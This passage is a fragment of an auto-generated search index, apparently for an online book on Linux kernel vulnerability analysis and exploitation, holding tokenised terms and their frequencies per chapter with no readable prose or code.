:0.0002853067047075606}}}}}}}},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"l":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{},"e":{"docs":{},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"r":{"docs":{},"r":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0028530670470756064}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245}}},"_":{"docs":{},"f":{"docs":{},"p":{"docs":{},"u":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"r":{"docs":{},"e":{"docs":{},"t":{"docs":{},"u":{"docs":{},"r":{"docs":{},"n":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}},"n":{"docs":{},"e":{"docs":{},"o":{"docs":{},"u":{"docs":{},"s":{"docs":{},"l":{"docs":{},"y":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"(":{"docs":{},"\"":{"docs":{},"\\":{"docs":{},"t":{"docs":{},"[":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002520302436292355}}}}}}}}},"s":{"docs":{},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":3.3346115608578324},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":3.3409378960709755},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}},"r":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"t":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{},"/":{"docs":{},"f":{"docs":{},"s":{"docs":{},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0068473609129814554},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"l":{"docs":{},"\"":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"u":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"o":{"docs":{},"l":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.01282051282051282},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245}},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"e":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"1":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{},"(":{"1":{"0":{"0":{"0":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}},"t":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"(":{"docs":{},"e":{"docs":{},"p":{"docs":{},"f":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}}},"_":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"d":{"docs":{},"e":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"e":{"docs":{},"v":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639}},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},")":{"docs":{},")":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},"f":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"}":{"docs":{},";":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}},"e":{"docs":{},"x":{"docs":{},"c":{"docs":{},"l":{"docs":{},"u":{"docs":{},"s":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}},"w":{"docs":{},"a":{"docs":{},"k":{"docs":{},"e":{"docs":{},"u":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},"_":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"+":{"0":{"docs":{},"x":{"2":{"2":{"8":{"docs":{},"/":{"0":{"docs":{},"x":{"2":{"2":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}}}},"r":{"docs":{},"e":{"docs":{},"l":{"docs":{},"e":{"docs":{},"a":{"docs":{},"s":{"docs":{},"e":{"docs":{},"+":{"0":{"docs":{},"x":{"4":{"8":{"docs":{},"/":{"0":{"docs":{},"x":{"5":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}}}}}}}}}}}}}}}}}},"f":{"docs":{},"r":{"docs":{},"e":{"docs":{},"e":{"docs":{},"+":{"0":{"docs":{},"x":{"8":{"docs":{},"b":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"8":{"1":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}},"docs":{}}},"docs":{}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"(":{"docs":{},"e":{"docs":{},"p":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"s":{"docs":{},"e":{"docs":{},"r":{"docs":{},"t":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}},"(":{"docs":{},"e":{"docs":{},"p":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}},"t":{"docs":{},"e":{"docs":{},"m":{"docs":{},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"l":{"docs":{},"(":{"docs":{},"e":{"docs":{},"p":{"docs":{},"i":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"f":{"docs":{},"r":{"docs":{},"o":{"docs":{},"m":{"docs":{},"_":{"docs":{},"e":{"docs":{},"p":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"(":{"docs":{},"p":{"docs":{},"t":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"m":{"docs":{},"o":{"docs":{},"v":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"e":{"docs":{},"_":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"e":{"docs":{},"(":{"docs":{},"p":{"docs":{},"w":{"docs":{},"q":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{},"e":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}},"(":{"docs":{},"e":{"docs":{},"p":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}},"b":{"docs":{},"t":{"docs":{},"r":{"docs":{},"e":{"docs":{},"e":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"s":{"docs":{},"e":{"docs":{},"r":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"(":{"docs":{},"e":{"docs":{},"p":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}},"u":{"docs":{},"n":{"docs":{},"r":{"docs":{},"e":{"docs":{},"g":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245}},"+":{"0":{"docs":{},"x":{"1":{"6":{"0":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"docs":{},"b":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"(":{"docs":{},"e":{"docs":{},"p":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}}}}},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"(":{"docs":{},"&":{"docs":{},"e":{"docs":{},"p":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"b":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},"t":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},"_":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{},"e":{"docs":{},"_":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"c":{"docs":{},"a":{"docs":{},"n":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"y":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"f":{"docs":{},"f":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"(":{"docs":{},"&":{"docs":{},"e":{"docs":{},"p":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}},"f":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}},";":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"d":{"docs":{},"s":{"docs":{},".":{"docs":{},"e":{"docs":{},"v":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0034236804564907277}},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"t":{"docs":{},"e":{"docs":{},"m":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0068473609129814554}},"\"":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.006562054208273894},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}},"y":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"q":{"docs":{},".":{"docs":{},"e":{"docs":{},"p":{"docs":{},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"p":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"b":{"docs":{},"a":{"docs":{},"d":{"docs":{},"f":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"d":{"docs":{},"i":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"e":{"docs":{},"x":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}},"i":{"docs":{},"n":{"docs":{},"v":{"docs":{},"a":{"docs":{},"l":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}}},"q":{"docs":{},"u":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}}}}}}},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.027694929697486152},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.006562054208273894},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.002520302436292355}},"r":{"docs":{},"o":{"docs":{},"d":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"./":{"ref":"./","tf":10}}}}}}}},"e":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"l":{"docs":{},"i":{"docs":{},"g":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"s":{"docs":{},"e":{"docs":{},"n":{"docs":{},"s":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},",":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}}}},"r":{"docs":{},"u":{"docs":{},"p":{"docs":{},"t":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}},"u":{"docs":{},"i":{"docs":{},"t":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.002282453637660485}}}},"c":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"l":{"docs":{},"u":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}},"e":{"docs":{},"/":{"docs":{},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{},"/":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},".":{"docs":{},"h":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"s":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"d":{"docs":{},".":{"docs":{},"h":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"l":{"docs":{},"a":{"docs":{},"b":{"docs":{},".":{"docs":{},"h":{"docs":{},":":{"4":{"8":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"6":{"6":{"1":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}}}}}},"p":{"docs":{},"i":{"docs":{},"n":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},".":{"docs":{},"h":{"docs":{},":":{"1":{"7":{"3":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}},"docs":{}},"docs":{}},"3":{"6":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}}},"_":{"docs":{},"a":{"docs":{},"p":{"docs":{},"i":{"docs":{},"_":{"docs":{},"s":{